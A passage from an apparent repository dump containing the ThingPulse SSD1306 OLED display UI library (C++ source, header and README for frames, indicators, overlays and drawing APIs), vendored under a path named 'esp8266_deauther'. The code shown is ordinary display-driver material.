IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * ThingPulse invests considerable time and money to develop these open source libraries.\n * Please support us by buying our products (and not the clones) from\n * https://thingpulse.com\n *\n */\n\n#include \"OLEDDisplayUi.h\"\n\nvoid LoadingDrawDefault(OLEDDisplay *display, LoadingStage* stage, uint8_t progress) {\n      display->setTextAlignment(TEXT_ALIGN_CENTER);\n      display->setFont(ArialMT_Plain_10);\n      display->drawString(64, 18, stage->process);\n      display->drawProgressBar(4, 32, 120, 8, progress);\n};\n\n\nOLEDDisplayUi::OLEDDisplayUi(OLEDDisplay *display) {\n  this->display = display;\n\t\n  indicatorPosition = BOTTOM;\n  indicatorDirection = LEFT_RIGHT;\n  activeSymbol = ANIMATION_activeSymbol;\n  inactiveSymbol = ANIMATION_inactiveSymbol;\n  frameAnimationDirection   = SLIDE_RIGHT;\n  lastTransitionDirection = 1;\n  ticksPerFrame = 151; // ~ 5000ms at 30 FPS\n  ticksPerTransition = 15;  // ~  500ms at 30 FPS\n  frameCount = 0;\n  nextFrameNumber = -1;\n  overlayCount = 0;\n  indicatorDrawState = 1;\n  loadingDrawFunction = LoadingDrawDefault;\n  updateInterval = 33;\n  state.lastUpdate = 0;\n  state.ticksSinceLastStateSwitch = 0;\n  state.frameState = FIXED;\n  state.currentFrame = 0;\n  state.frameTransitionDirection = 1;\n  state.isIndicatorDrawen = true;\n  state.manuelControll = false;\n  state.userData = NULL;\n  shouldDrawIndicators = true;\n  autoTransition = true;\n}\n\nvoid OLEDDisplayUi::init() {\n  this->display->init();\n}\n\nvoid OLEDDisplayUi::setTargetFPS(uint8_t fps){\n  float oldInterval = this->updateInterval;\n  this->updateInterval = ((float) 1.0 / (float) fps) * 1000;\n\n  // Calculate new ticksPerFrame\n  float changeRatio = oldInterval / (float) this->updateInterval;\n  this->ticksPerFrame *= changeRatio;\n  this->ticksPerTransition *= changeRatio;\n}\n\n// -/------ Automatic controll ------\\-\n\nvoid OLEDDisplayUi::enableAutoTransition(){\n  this->autoTransition = true;\n}\nvoid OLEDDisplayUi::disableAutoTransition(){\n  this->autoTransition = false;\n}\nvoid OLEDDisplayUi::setAutoTransitionForwards(){\n  this->state.frameTransitionDirection = 1;\n  this->lastTransitionDirection = 1;\n}\nvoid OLEDDisplayUi::setAutoTransitionBackwards(){\n  this->state.frameTransitionDirection = -1;\n  this->lastTransitionDirection = -1;\n}\nvoid OLEDDisplayUi::setTimePerFrame(uint16_t time){\n  this->ticksPerFrame = (uint16_t) ( (float) time / (float) updateInterval);\n}\nvoid OLEDDisplayUi::setTimePerTransition(uint16_t time){\n  this->ticksPerTransition = (uint16_t) ( (float) time / (float) updateInterval);\n}\n\n// -/------ Customize indicator position and style -------\\-\nvoid OLEDDisplayUi::enableIndicator(){\n  this->state.isIndicatorDrawen = true;\n}\n\nvoid OLEDDisplayUi::disableIndicator(){\n  this->state.isIndicatorDrawen = false;\n}\n\nvoid OLEDDisplayUi::enableAllIndicators(){\n  this->shouldDrawIndicators = true;\n}\n\nvoid OLEDDisplayUi::disableAllIndicators(){\n  this->shouldDrawIndicators = false;\n}\n\nvoid OLEDDisplayUi::setIndicatorPosition(IndicatorPosition pos) {\n  this->indicatorPosition = pos;\n}\nvoid OLEDDisplayUi::setIndicatorDirection(IndicatorDirection dir) {\n  this->indicatorDirection = dir;\n}\nvoid OLEDDisplayUi::setActiveSymbol(const uint8_t* symbol) {\n  this->activeSymbol = symbol;\n}\nvoid OLEDDisplayUi::setInactiveSymbol(const uint8_t* symbol) {\n  this->inactiveSymbol = symbol;\n}\n\n\n// -/----- Frame settings -----\\-\nvoid OLEDDisplayUi::setFrameAnimation(AnimationDirection dir) {\n  this->frameAnimationDirection = dir;\n}\nvoid OLEDDisplayUi::setFrames(FrameCallback* frameFunctions, uint8_t frameCount) {\n  this->frameFunctions = frameFunctions;\n  this->frameCount     = frameCount;\n  this->resetState();\n}\n\n// -/----- Overlays ------\\-\nvoid OLEDDisplayUi::setOverlays(OverlayCallback* overlayFunctions, uint8_t overlayCount){\n  this->overlayFunctions = overlayFunctions;\n  this->overlayCount     = overlayCount;\n}\n\n// -/----- Loading Process -----\\-\n\nvoid OLEDDisplayUi::setLoadingDrawFunction(LoadingDrawFunction loadingDrawFunction) {\n  this->loadingDrawFunction = loadingDrawFunction;\n}\n\nvoid OLEDDisplayUi::runLoadingProcess(LoadingStage* stages, uint8_t stagesCount) {\n  uint8_t progress = 0;\n  uint8_t increment = 100 / stagesCount;\n\n  for (uint8_t i = 0; i < stagesCount; i++) {\n    display->clear();\n    this->loadingDrawFunction(this->display, &stages[i], progress);\n    display->display();\n\n    stages[i].callback();\n\n    progress += increment;\n    yield();\n  }\n\n  display->clear();\n  this->loadingDrawFunction(this->display, &stages[stagesCount-1], progress);\n  display->display();\n\n  delay(150);\n}\n\n// -/----- Manuel control -----\\-\nvoid OLEDDisplayUi::nextFrame() {\n  if (this->state.frameState != IN_TRANSITION) {\n    this->state.manuelControll = true;\n    this->state.frameState = IN_TRANSITION;\n    this->state.ticksSinceLastStateSwitch = 0;\n    this->lastTransitionDirection = this->state.frameTransitionDirection;\n    this->state.frameTransitionDirection = 1;\n  }\n}\nvoid OLEDDisplayUi::previousFrame() {\n  if (this->state.frameState != IN_TRANSITION) {\n    this->state.manuelControll = true;\n    this->state.frameState = IN_TRANSITION;\n    this->state.ticksSinceLastStateSwitch = 0;\n    this->lastTransitionDirection = this->state.frameTransitionDirection;\n    this->state.frameTransitionDirection = -1;\n  }\n}\n\nvoid OLEDDisplayUi::switchToFrame(uint8_t frame) {\n  if (frame >= this->frameCount) return;\n  this->state.ticksSinceLastStateSwitch = 0;\n  if (frame == this->state.currentFrame) return;\n  this->state.frameState = FIXED;\n  this->state.currentFrame = frame;\n  this->state.isIndicatorDrawen = true;\n}\n\nvoid OLEDDisplayUi::transitionToFrame(uint8_t frame) {\n  if (frame >= this->frameCount) return;\n  this->state.ticksSinceLastStateSwitch = 0;\n  if (frame == this->state.currentFrame) return;\n  this->nextFrameNumber = frame;\n  this->lastTransitionDirection = this->state.frameTransitionDirection;\n  this->state.manuelControll = true;\n  this->state.frameState = IN_TRANSITION;\n  this->state.frameTransitionDirection = frame < this->state.currentFrame ? -1 : 1;\n}\n\n\n// -/----- State information -----\\-\nOLEDDisplayUiState* OLEDDisplayUi::getUiState(){\n  return &this->state;\n}\n\nint16_t OLEDDisplayUi::update(){\n#ifdef ARDUINO\n  unsigned long frameStart = millis();\n#elif __MBED__\n\tTimer t;\n\tt.start();\n\tunsigned long frameStart = t.read_ms();\n#else\n#error \"Unkown operating system\"\n#endif\n  int16_t timeBudget = this->updateInterval - (frameStart - this->state.lastUpdate);\n  if ( timeBudget <= 0) {\n    // Implement frame skipping to ensure time budget is keept\n    if (this->autoTransition && this->state.lastUpdate != 0) this->state.ticksSinceLastStateSwitch += ceil((double)-timeBudget / (double)this->updateInterval);\n\n    this->state.lastUpdate = frameStart;\n    this->tick();\n  }\n#ifdef ARDUINO\n  return this->updateInterval - (millis() - frameStart);\n#elif __MBED__\n  return this->updateInterval - (t.read_ms() - frameStart);\n#else\n#error \"Unkown operating system\"\n#endif\n}\n\n\nvoid OLEDDisplayUi::tick() {\n  this->state.ticksSinceLastStateSwitch++;\n\n  switch (this->state.frameState) {\n    case IN_TRANSITION:\n        if (this->state.ticksSinceLastStateSwitch >= this->ticksPerTransition){\n          this->state.frameState = FIXED;\n          this->state.currentFrame = getNextFrameNumber();\n          this->state.ticksSinceLastStateSwitch = 0;\n          this->nextFrameNumber = -1;\n        }\n      break;\n    case FIXED:\n      // Revert manuelControll\n      if (this->state.manuelControll) {\n        this->state.frameTransitionDirection = this->lastTransitionDirection;\n        this->state.manuelControll = false;\n      }\n      if (this->state.ticksSinceLastStateSwitch >= this->ticksPerFrame){\n          if (this->autoTransition){\n            this->state.frameState = IN_TRANSITION;\n          }\n          this->state.ticksSinceLastStateSwitch = 0;\n      }\n      break;\n  }\n\n  this->display->clear();\n  this->drawFrame();\n  if (shouldDrawIndicators) {\n    this->drawIndicator();\n  }\n  this->drawOverlays();\n  this->display->display();\n}\n\nvoid OLEDDisplayUi::resetState() {\n  this->state.lastUpdate = 0;\n  this->state.ticksSinceLastStateSwitch = 0;\n  this->state.frameState = FIXED;\n  this->state.currentFrame = 0;\n  this->state.isIndicatorDrawen = true;\n}\n\nvoid OLEDDisplayUi::drawFrame(){\n  switch (this->state.frameState){\n     case IN_TRANSITION: {\n       float progress = (float) this->state.ticksSinceLastStateSwitch / (float) this->ticksPerTransition;\n       int16_t x = 0, y = 0, x1 = 0, y1 = 0;\n       switch(this->frameAnimationDirection){\n        case SLIDE_LEFT:\n          x = -this->display->width() * progress;\n          y = 0;\n          x1 = x + this->display->width();\n          y1 = 0;\n          break;\n        case SLIDE_RIGHT:\n          x = this->display->width() * progress;\n          y = 0;\n          x1 = x - this->display->width();\n          y1 = 0;\n          break;\n        case SLIDE_UP:\n          x = 0;\n          y = -this->display->height() * progress;\n          x1 = 0;\n          y1 = y + this->display->height();\n          break;\n        case SLIDE_DOWN:\n        default:\n          x = 0;\n          y = this->display->height() * progress;\n          x1 = 0;\n          y1 = y - this->display->height();\n          break;\n       }\n\n       // Invert animation if direction is reversed.\n       int8_t dir = this->state.frameTransitionDirection >= 0 ? 1 : -1;\n       x *= dir; y *= dir; x1 *= dir; y1 *= dir;\n\n       bool drawenCurrentFrame;\n\n\n       // Prope each frameFunction for the indicator Drawen state\n       this->enableIndicator();\n       (this->frameFunctions[this->state.currentFrame])(this->display, &this->state, x, y);\n       drawenCurrentFrame = this->state.isIndicatorDrawen;\n\n       this->enableIndicator();\n       (this->frameFunctions[this->getNextFrameNumber()])(this->display, &this->state, x1, y1);\n\n       // Build up the indicatorDrawState\n       if (drawenCurrentFrame && !this->state.isIndicatorDrawen) {\n         // Drawen now but not next\n         this->indicatorDrawState = 2;\n       } else if (!drawenCurrentFrame && this->state.isIndicatorDrawen) {\n         // Not drawen now but next\n         this->indicatorDrawState = 1;\n       } else if (!drawenCurrentFrame && !this->state.isIndicatorDrawen) {\n         // Not drawen in both frames\n         this->indicatorDrawState = 3;\n       }\n\n       // If the indicator isn't draw in the current frame\n       // reflect it in state.isIndicatorDrawen\n       if (!drawenCurrentFrame) this->state.isIndicatorDrawen = false;\n\n       break;\n     }\n     case FIXED:\n      // Always assume that the indicator is drawn!\n      // And set indicatorDrawState to \"not known yet\"\n      this->indicatorDrawState = 0;\n      this->enableIndicator();\n      (this->frameFunctions[this->state.currentFrame])(this->display, &this->state, 0, 0);\n      break;\n  }\n}\n\nvoid OLEDDisplayUi::drawIndicator() {\n\n    // Only draw if the indicator is invisible\n    // for both frames or\n    // the indiactor is shown and we are IN_TRANSITION\n    if (this->indicatorDrawState == 3 || (!this->state.isIndicatorDrawen && this->state.frameState != IN_TRANSITION)) {\n      return;\n    }\n\n    uint8_t posOfHighlightFrame = 0;\n    float indicatorFadeProgress = 0;\n\n    // if the indicator needs to be slided in we want to\n    // highlight the next frame in the transition\n    uint8_t frameToHighlight = this->indicatorDrawState == 1 ? this->getNextFrameNumber() : this->state.currentFrame;\n\n    // Calculate the frame that needs to be highlighted\n    // based on the Direction the indiactor is drawn\n    switch (this->indicatorDirection){\n      case LEFT_RIGHT:\n        posOfHighlightFrame = frameToHighlight;\n        break;\n      case RIGHT_LEFT:\n      default:\n        posOfHighlightFrame = this->frameCount - frameToHighlight;\n        break;\n    }\n\n    switch (this->indicatorDrawState) {\n      case 1: // Indicator was not drawn in this frame but will be in next\n        // Slide IN\n        indicatorFadeProgress = 1 - ((float) this->state.ticksSinceLastStateSwitch / (float) this->ticksPerTransition);\n        break;\n      case 2: // Indicator was drawn in this frame but not in next\n        // Slide OUT\n        indicatorFadeProgress = ((float) this->state.ticksSinceLastStateSwitch / (float) this->ticksPerTransition);\n        break;\n    }\n\n    //Space between indicators - reduce for small screen sizes\n    uint16_t indicatorSpacing = 12;\n    if (this->display->getHeight() < 64 && (this->indicatorPosition == RIGHT || this->indicatorPosition == LEFT)) {\n      indicatorSpacing = 6;\n    }\n\n    uint16_t frameStartPos = (indicatorSpacing * frameCount / 2);\n    const uint8_t *image;\n\n    uint16_t x = 0,y = 0;\n\n\n    for (uint8_t i = 0; i < this->frameCount; i++) {\n\n      switch (this->indicatorPosition){\n        case TOP:\n          y = 0 - (8 * indicatorFadeProgress);\n          x = (this->display->width() / 2) - frameStartPos + 12 * i;\n          break;\n        case BOTTOM:\n          y = (this->display->height() - 8) + (8 * indicatorFadeProgress);\n          x = (this->display->width() / 2) - frameStartPos + 12 * i;\n          break;\n        case RIGHT:\n          x = (this->display->width() - 8) + (8 * indicatorFadeProgress);\n          y = (this->display->height() / 2) - frameStartPos + 2 + 12 * i;\n          break;\n        case LEFT:\n        default:\n          x = 0 - (8 * indicatorFadeProgress);\n          y = (this->display->height() / 2) - frameStartPos + 2 + indicatorSpacing * i;\n          break;\n      }\n\n      if (posOfHighlightFrame == i) {\n         image = this->activeSymbol;\n      } else {\n         image = this->inactiveSymbol;\n      }\n\n      this->display->drawFastImage(x, y, 8, 8, image);\n    }\n}\n\nvoid OLEDDisplayUi::drawOverlays() {\n for (uint8_t i=0;i<this->overlayCount;i++){\n    (this->overlayFunctions[i])(this->display, &this->state);\n }\n}\n\nuint8_t OLEDDisplayUi::getNextFrameNumber(){\n  if (this->nextFrameNumber != -1) return this->nextFrameNumber;\n  return (this->state.currentFrame + this->frameCount + this->state.frameTransitionDirection) % this->frameCount;\n}\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplayUi.h",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice Weinberg\n * Copyright (c) 2019 by Helmut Tschemernjak - www.radioshuttle.de\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * ThingPulse invests considerable time and money to develop these open source libraries.\n * Please support us by buying our products (and not the clones) from\n * https://thingpulse.com\n *\n */\n\n#ifndef OLEDDISPLAYUI_h\n#define OLEDDISPLAYUI_h\n\n#ifdef ARDUINO\n#include <Arduino.h>\n#elif __MBED__\n#include <mbed.h>\n#else\n#error \"Unkown operating system\"\n#endif\n\n#include \"OLEDDisplay.h\"\n\n//#define DEBUG_OLEDDISPLAYUI(...) Serial.printf( __VA_ARGS__ )\n\n#ifndef DEBUG_OLEDDISPLAYUI\n#define DEBUG_OLEDDISPLAYUI(...)\n#endif\n\nenum AnimationDirection {\n  SLIDE_UP,\n  SLIDE_DOWN,\n  SLIDE_LEFT,\n  SLIDE_RIGHT\n};\n\nenum IndicatorPosition {\n  TOP,\n  RIGHT,\n  BOTTOM,\n  LEFT\n};\n\nenum IndicatorDirection {\n  LEFT_RIGHT,\n  RIGHT_LEFT\n};\n\nenum FrameState {\n  IN_TRANSITION,\n  FIXED\n};\n\n\nconst uint8_t ANIMATION_activeSymbol[] PROGMEM = {\n  0x00, 0x18, 0x3c, 0x7e, 0x7e, 0x3c, 0x18, 0x00\n};\n\nconst uint8_t ANIMATION_inactiveSymbol[] PROGMEM = {\n  0x00, 0x0, 0x0, 0x18, 0x18, 0x0, 0x0, 0x00\n};\n\n\n// Structure of the UiState\nstruct OLEDDisplayUiState {\n  uint64_t     lastUpdate;\n  uint16_t      ticksSinceLastStateSwitch;\n\n  FrameState    frameState;\n  uint8_t       currentFrame;\n\n  bool          isIndicatorDrawen;\n\n  // Normal = 1, Inverse = -1;\n  int8_t        frameTransitionDirection;\n\n  bool          manuelControll;\n\n  // Custom data that can be used by the user\n  void*         userData;\n};\n\nstruct LoadingStage {\n  const char* process;\n  void (*callback)();\n};\n\ntypedef void (*FrameCallback)(OLEDDisplay *display,  OLEDDisplayUiState* state, int16_t x, int16_t y);\ntypedef void (*OverlayCallback)(OLEDDisplay *display,  OLEDDisplayUiState* state);\ntypedef void (*LoadingDrawFunction)(OLEDDisplay *display, LoadingStage* stage, uint8_t progress);\n\nclass OLEDDisplayUi {\n  private:\n    OLEDDisplay             *display;\n\n    // Symbols for the Indicator\n    IndicatorPosition   indicatorPosition;\n    IndicatorDirection  indicatorDirection;\n\n    const uint8_t*         activeSymbol;\n    const uint8_t*         inactiveSymbol;\n\n    bool                shouldDrawIndicators;\n\n    // Values for the Frames\n    AnimationDirection  frameAnimationDirection;\n\n    int8_t              lastTransitionDirection;\n\n    uint16_t            ticksPerFrame; \t\t// ~ 5000ms at 30 FPS\n    uint16_t            ticksPerTransition;\t// ~  500ms at 30 FPS\n\n    bool                autoTransition;\n\n    FrameCallback*      frameFunctions;\n    uint8_t             frameCount;\n\n    // Internally used to transition to a specific frame\n    int8_t              nextFrameNumber;\n\n    // Values for Overlays\n    OverlayCallback*    overlayFunctions;\n    uint8_t             overlayCount;\n\n    // Will the Indicator be drawen\n    // 3 Not drawn in both frames\n    // 2 Drawn this frame but not next\n    // 1 Not drown this frame but next\n    // 0 Not known yet\n    uint8_t                indicatorDrawState;\n\n    // Loading screen\n    LoadingDrawFunction loadingDrawFunction;\n\t\n    // UI State\n    OLEDDisplayUiState      state;\n\n    // Bookeeping for update\n    uint16_t            updateInterval            = 33;\n\n    uint8_t             getNextFrameNumber();\n    void                drawIndicator();\n    void                drawFrame();\n    void                drawOverlays();\n    void                tick();\n    void                resetState();\n\n  public:\n\n    OLEDDisplayUi(OLEDDisplay *display);\n\n    /**\n     * Initialise the display\n     */\n    void init();\n\n    /**\n     * Configure the internal used target FPS\n     */\n    void setTargetFPS(uint8_t fps);\n\n    // Automatic Controll\n    /**\n     * Enable automatic transition to next frame after the some time can be configured with `setTimePerFrame` and `setTimePerTransition`.\n     */\n    void enableAutoTransition();\n\n    /**\n     * Disable automatic transition to next frame.\n     */\n    void disableAutoTransition();\n\n    /**\n     * Set the direction if the automatic transitioning\n     */\n    void setAutoTransitionForwards();\n    void setAutoTransitionBackwards();\n\n    /**\n     *  Set the approx. time a frame is displayed\n     */\n    void setTimePerFrame(uint16_t time);\n\n    /**\n     * Set the approx. time a transition will take\n     */\n    void setTimePerTransition(uint16_t time);\n\n    // Customize indicator position and style\n\n    /**\n     * Draw the indicator.\n     * This is the defaut state for all frames if\n     * the indicator was hidden on the previous frame\n     * it will be slided in.\n     */\n    void enableIndicator();\n\n    /**\n     * Don't draw the indicator.\n     * This will slide out the indicator\n     * when transitioning to the next frame.\n     */\n    void disableIndicator();\n\n    /**\n     * Enable drawing of indicators\n     */\n    void enableAllIndicators();\n\n    /**\n     * Disable draw of indicators.\n     */\n    void disableAllIndicators();\n\n    /**\n     * Set the position of the indicator bar.\n     */\n    void setIndicatorPosition(IndicatorPosition pos);\n\n    /**\n     * Set the direction of the indicator bar. Defining the order of frames ASCENDING / DESCENDING\n     */\n    void setIndicatorDirection(IndicatorDirection dir);\n\n    /**\n     * Set the symbol to indicate an active frame in the indicator bar.\n     */\n    void setActiveSymbol(const uint8_t* symbol);\n\n    /**\n     * Set the symbol to indicate an inactive frame in the indicator bar.\n     */\n    void setInactiveSymbol(const uint8_t* symbol);\n\n\n    // Frame settings\n\n    /**\n     * Configure what animation is used to transition from one frame to another\n     */\n    void setFrameAnimation(AnimationDirection dir);\n\n    /**\n     * Add frame drawing functions\n     */\n    void setFrames(FrameCallback* frameFunctions, uint8_t frameCount);\n\n    // Overlay\n\n    /**\n     * Add overlays drawing functions that are draw independent of the Frames\n     */\n    void setOverlays(OverlayCallback* overlayFunctions, uint8_t overlayCount);\n\n\n    // Loading animation\n    /**\n     * Set the function that will draw each step\n     * in the loading animation\n     */\n    void setLoadingDrawFunction(LoadingDrawFunction loadingFunction);\n\n\n    /**\n     * Run the loading process\n     */\n    void runLoadingProcess(LoadingStage* stages, uint8_t stagesCount);\n\n\n    // Manual Control\n    void nextFrame();\n    void previousFrame();\n\n    /**\n     * Switch without transition to frame `frame`.\n     */\n    void switchToFrame(uint8_t frame);\n\n    /**\n     * Transition to frame `frame`, when the `frame` number is bigger than the current\n     * frame the forward animation will be used, otherwise the backwards animation is used.\n     */\n    void transitionToFrame(uint8_t frame);\n\n    // State Info\n    OLEDDisplayUiState* getUiState();\n\n    int16_t update();\n};\n#endif\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/README.md",
    "content": "[![Build Status](https://travis-ci.org/ThingPulse/esp8266-oled-ssd1306.svg?branch=master)](https://travis-ci.org/ThingPulse/esp8266-oled-ssd1306)\n\n# ThingPulse OLED SSD1306 (ESP8266/ESP32/Mbed-OS)\n\n> We just released version 4.0.0. Please have a look at our [upgrade guide](UPGRADE-4.0.md)\n\nThis is a driver for SSD1306 128x64 and 128x32 OLED displays running on the Arduino/ESP8266 & ESP32 and mbed-os platforms.\nCan be used with either the I2C or SPI version of the display.\n\nYou can either download this library as a zip file and unpack it to your Arduino/libraries folder or find it in the Arduino library manager under \"ESP8266 and ESP32 Oled Driver for SSD1306 display\". For mbed-os a copy of the files are available as an mbed-os library. \n\nIt is also available as a platformio library. Just execute the following command:\n```\nplatformio lib install 562\n```\n\n## Service level promise\n\n<table><tr><td><img src=\"https://thingpulse.com/assets/ThingPulse-open-source-prime.png\" width=\"150\">\n</td><td>This is a ThingPulse <em>prime</em> project. See our <a href=\"https://thingpulse.com/about/open-source-commitment/\">open-source commitment declaration</a> for what this means.</td></tr></table>\n\n## Credits\n\nThis library has initially been written by Daniel Eichhorn ([@squix78](https://github.com/squix78)). Many thanks go to Fabrice Weinberg ([@FWeinb](https://github.com/FWeinb)) for optimizing and refactoring many aspects of the library. Also many thanks to the many committers who helped to add new features and who fixed many bugs. Mbed-OS support and other improvements were contributed by Helmut Tschemernjak ([@helmut64](https://github.com/helmut64)).\n\nThe init sequence for the SSD1306 was inspired by Adafruit's library for the same display.\n\n## mbed-os\nThis library has been adopted to support the ARM mbed-os environment. A copy of this library is available in mbed-os under the name OLED_SSD1306 by Helmut Tschemernjak. An alternate installation option is to copy the following files into your mbed-os project: OLEDDisplay.cpp OLEDDisplay.h OLEDDisplayFonts.h OLEDDisplayUi.cpp OLEDDisplayUi.h SSD1306I2C.h\n\n## Usage\n\nCheck out the examples folder for a few comprehensive demonstrations how to use the library. Also check out the [ESP8266 Weather Station](https://github.com/ThingPulse/esp8266-weather-station) library which uses the OLED library to display beautiful weather information.\n\n## Upgrade\n\nThe API changed a lot with the 3.0 release. If you were using this library with older versions please have a look at the [Upgrade Guide](UPGRADE-3.0.md).\n\nGoing from 3.x version to 4.0 a lot of internals changed and compatibility for more displays was added. Please read the [Upgrade Guide](UPGRADE-4.0.md).\n\n## Features\n\n* Draw pixels at given coordinates\n* Draw lines from given coordinates to given coordinates\n* Draw or fill a rectangle with given dimensions\n* Draw Text at given coordinates:\n * Define Alignment: Left, Right and Center\n * Set the Fontface you want to use (see section Fonts below)\n * Limit the width of the text by an amount of pixels. Before this widths will be reached, the renderer will wrap the text to a new line if possible\n* Display content in automatically side scrolling carousel\n * Define transition cycles\n * Define how long one frame will be displayed\n * Draw the different frames in callback methods\n * One indicator per frame will be automatically displayed. The active frame will be displayed from inactive once\n\n## Fonts\n\nFonts are defined in a proprietary but open format. You can create new font files by choosing from a given list\nof open sourced Fonts from this web app: http://oleddisplay.squix.ch\nChoose the font family, style and size, check the preview image and if you like what you see click the \"Create\" button. This will create the font array in a text area form where you can copy and paste it into a new or existing header file.\n\n\n![FontTool](https://github.com/squix78/esp8266-oled-ssd1306/raw/master/resources/FontTool.png)\n\n## Hardware Abstraction\n\nThe library supports different protocols to access the OLED display. Currently there is support for I2C using the built in Wire.h library, I2C by using the much faster [BRZO I2C library](https://github.com/pasko-zh/brzo_i2c) written in assembler and it also supports displays which come with the SPI interface.\n\n### I2C with Wire.h\n\n```C++\n#include <Wire.h>  \n#include \"SSD1306Wire.h\"\n\n// for 128x64 displays:\nSSD1306Wire display(0x3c, SDA, SCL);  // ADDRESS, SDA, SCL\n// for 128x32 displays:\n// SSD1306Wire display(0x3c, SDA, SCL, GEOMETRY_128_32);  // ADDRESS, SDA, SCL, GEOMETRY_128_32 (or 128_64)\n```\n\nfor a SH1106:\n```C++\n#include <Wire.h>  \n#include \"SH1106Wire.h\"\n\nSH1106Wire display(0x3c, SDA, SCL);  // ADDRESS, SDA, SCL\n```\n\n### I2C with brzo_i2c\n\n```C++\n#include <brzo_i2c.h>\n#include \"SSD1306Brzo.h\"\n\nSSD1306Brzo display(0x3c, SDA, SCL);  // ADDRESS, SDA, SCL\n```\nor for the SH1106:\n```C++\n#include <brzo_i2c.h>\n#include \"SH1106Brzo.h\"\n\nSH1106Brzo display(0x3c, SDA, SCL);  // ADDRESS, SDA, SCL\n```\n\n### SPI\n\n```C++\n#include <SPI.h>\n#include \"SSD1306Spi.h\"\n\nSSD1306Spi display(D0, D2, D8);  // RES, DC, CS\n```\nor for the SH1106:\n```C++\n#include <SPI.h>\n#include \"SH1106Spi.h\"\n\nSH1106Spi display(D0, D2);  // RES, DC\n```\n\n## API\n\n### Display Control\n\n```C++\n// Initialize the display\nvoid init();\n\n// Free the memory used by the display\nvoid end();\n\n// Cycle through the initialization\nvoid resetDisplay(void);\n\n// Connect again to the display through I2C\nvoid reconnect(void);\n\n// Turn the display on\nvoid displayOn(void);\n\n// Turn the display offs\nvoid displayOff(void);\n\n// Clear the local pixel buffer\nvoid clear(void);\n\n// Write the buffer to the display memory\nvoid display(void);\n\n// Inverted display mode\nvoid invertDisplay(void);\n\n// Normal display mode\nvoid normalDisplay(void);\n\n// Set display contrast\n// really low brightness & contrast: contrast = 10, precharge = 5, comdetect = 0\n// normal brightness & contrast:  contrast = 100\nvoid setContrast(uint8_t contrast, uint8_t precharge = 241, uint8_t comdetect = 64);\n\n// Convenience method to access\nvoid setBrightness(uint8_t);\n\n// Turn the display upside down\nvoid flipScreenVertically();\n\n// Draw the screen mirrored\nvoid mirrorScreen();\n```\n\n## Pixel drawing\n\n```C++\n\n/* Drawing functions */\n// Sets the color of all pixel operations\nvoid setColor(OLEDDISPLAY_COLOR color);\n\n// Draw a pixel at given position\nvoid setPixel(int16_t x, int16_t y);\n\n// Draw a line from position 0 to position 1\nvoid drawLine(int16_t x0, int16_t y0, int16_t x1, int16_t y1);\n\n// Draw the border of a rectangle at the given location\nvoid drawRect(int16_t x, int16_t y, int16_t width, int16_t height);\n\n// Fill the rectangle\nvoid fillRect(int16_t x, int16_t y, int16_t width, int16_t height);\n\n// Draw the border of a circle\nvoid drawCircle(int16_t x, int16_t y, int16_t radius);\n\n// Fill circle\nvoid fillCircle(int16_t x, int16_t y, int16_t radius);\n\n// Draw a line horizontally\nvoid drawHorizontalLine(int16_t x, int16_t y, int16_t length);\n\n// Draw a lin vertically\nvoid drawVerticalLine(int16_t x, int16_t y, int16_t length);\n\n// Draws a rounded progress bar with the outer dimensions given by width and height. Progress is\n// a unsigned byte value between 0 and 100\nvoid drawProgressBar(uint16_t x, uint16_t y, uint16_t width, uint16_t height, uint8_t progress);\n\n// Draw a bitmap in the internal image format\nvoid drawFastImage(int16_t x, int16_t y, int16_t width, int16_t height, const uint8_t *image);\n\n// Draw a XBM\nvoid drawXbm(int16_t x, int16_t y, int16_t width, int16_t height, const char* xbm);\n```\n\n## Text operations\n\n``` C++\nvoid drawString(int16_t x, int16_t y, String text);\n\n// Draws a String with a maximum width at the given location.\n// If the given String is wider than the specified width\n// The text will be wrapped to the next line at a space or dash\nvoid drawStringMaxWidth(int16_t x, int16_t y, int16_t maxLineWidth, String text);\n\n// Returns the width of the const char* with the current\n// font settings\nuint16_t getStringWidth(const char* text, uint16_t length);\n\n// Convencience method for the const char version\nuint16_t getStringWidth(String text);\n\n// Specifies relative to which anchor point\n// the text is rendered. Available constants:\n// TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER, TEXT_ALIGN_RIGHT, TEXT_ALIGN_CENTER_BOTH\nvoid setTextAlignment(OLEDDISPLAY_TEXT_ALIGNMENT textAlignment);\n\n// Sets the current font. Available default fonts\n// ArialMT_Plain_10, ArialMT_Plain_16, ArialMT_Plain_24\n// Or create one with the font tool at http://oleddisplay.squix.ch\nvoid setFont(const uint8_t* fontData);\n```\n\n## Ui Library (OLEDDisplayUi)\n\nThe Ui Library is used to provide a basic set of Ui elements called, `Frames` and `Overlays`. A `Frame` is used to provide\ninformation the default behaviour is to display a `Frame` for a defined time and than move to the next. The library also provides an `Indicator` that will be updated accordingly. An `Overlay` on the other hand is a pieces of information (e.g. a clock) that is displayed always at the same position.\n\n\n```C++\n/**\n * Initialise the display\n */\nvoid init();\n\n/**\n * Configure the internal used target FPS\n 